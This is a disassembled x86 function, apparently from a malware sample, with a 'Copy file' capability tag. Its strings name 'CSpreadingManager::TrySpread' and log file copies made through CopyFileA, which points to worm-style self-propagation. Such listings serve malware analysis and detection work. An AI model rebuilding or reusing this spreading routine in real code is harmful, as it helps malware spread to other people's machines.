Function at 0x4123a3
Capabilities:
Copy file

Disassembly:
mov eax, 0x424c35
call fcn.00415558
sub esp, 0x54
and dword [ebp - 0x14], 0
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov ebx, dword [ebp + 8]
xor edi, edi
inc edi
mov ecx, ebx
mov dword [ebp - 4], edi
call fcn.0040b417
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x18]
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], edi
call fcn.00401fb0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
jmp 0x4125d4
mov eax, dword [ebx + 0x10]
sub eax, dword [ebx + 0xc]
push 0x1c
cdq
pop ecx
idiv ecx
cmp eax, dword [ebp + 0x24]
jae 0x4125f7
lea ecx, [ebp - 0x20]
call fcn.00401ff0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00401d90
lea eax, [ebp - 0x60]
push eax
call fcn.00411e27
add esp, 0x20
cmp dword [ebp - 0x4c], 0
mov byte [ebp - 4], 2
je 0x4125bd
lea ecx, [ebp - 0x20]
call fcn.00401ff0
push eax
lea ecx, [ebp - 0x44]
call fcn.00401d90
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 3
call fcn.00402520
cmp dword [ebp - 0x2c], 0x10
mov ebx, dword [ebp - 0x40]
jae 0x412465
lea ebx, [ebp - 0x40]
cmp dword [esi + 0x18], 0x10
jb 0x412472
add esi, 4
mov edi, dword [esi]
jmp 0x412477
add esi, 4
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push edi
mov edi, str.CSpreadingManager::TrySpread
push edi
push str._s_tCopying_file_from__s_to__s_tGLE:_08x
call fcn.004012a0
push eax
call fcn.00401330
mov ecx, dword [ebp - 0x40]
add esp, 0x18
cmp dword [ebp - 0x2c], 0x10
jae 0x4124a5
lea ecx, [ebp - 0x40]
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x18], 0x10
jb 0x4124b2
mov eax, dword [esi]
jmp 0x4124b4
mov eax, esi
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push ecx
push eax
call ebx
test eax, eax
je 0x41258d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str._s_tCopyFile_ok_tGLE:_08x
call fcn.004012a0
push eax
call fcn.00401330
mov eax, dword [ebp - 0x40]
add esp, 0x10
cmp dword [ebp - 0x2c], 0x10
jae 0x4124ef
lea eax, [ebp - 0x40]
push eax
call fcn.0040fcd7
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00401d90
mov edi, dword [ebp - 0x10]
mov ecx, edi
call fcn.0041132c
push 0
sub esp, 0x1c
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00401d90
call fcn.004102da
add esp, 0x20
test al, al
jne 0x41257f
cmp dword [ebp - 0x2c], 0x10
mov eax, dword [ebp - 0x40]
jae 0x41253b
lea eax, [ebp - 0x40]
cmp dword [edi + 0x18], 0x10
jb 0x412543
mov esi, dword [esi]
push 0
push eax
push esi
call ebx
test eax, eax
je 0x4125a8
cmp dword [ebp - 0x2c], 0x10
mov eax, dword [ebp - 0x40]
jae 0x412559
lea eax, [ebp - 0x40]
push eax
call fcn.0040fcd7
pop ecx
push 0
sub esp, 0x1c
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00401d90
call fcn.004102da
add esp, 0x20
test al, al
je 0x4125a8
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push eax
call fcn.00403350
jmp 0x4125a8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str._s_tCopyFile_failed_tGLE:_08x
call fcn.004012a0
push eax
call fcn.00401330
add esp, 0x10
push 0
push 1
lea ecx, [ebp - 0x44]
call fcn.00401f00
mov esi, dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
xor edi, edi
inc edi
push 0
push edi
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 1
call fcn.00401f00
lea ecx, [ebp - 0x20]
call fcn.00402020
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x1c]
lea ecx, [ebp - 0x28]
call fcn.00401fb0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x20]
call fcn.00401dc0
test al, al
je 0x4123ef
lea ecx, [ebp + 0xc]
call fcn.0040b4b4
push dword [ebp + 0xc]
call fcn.004136f1
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, ebx
mov dword fs:[0], ecx
pop ebx
leave
ret 0x20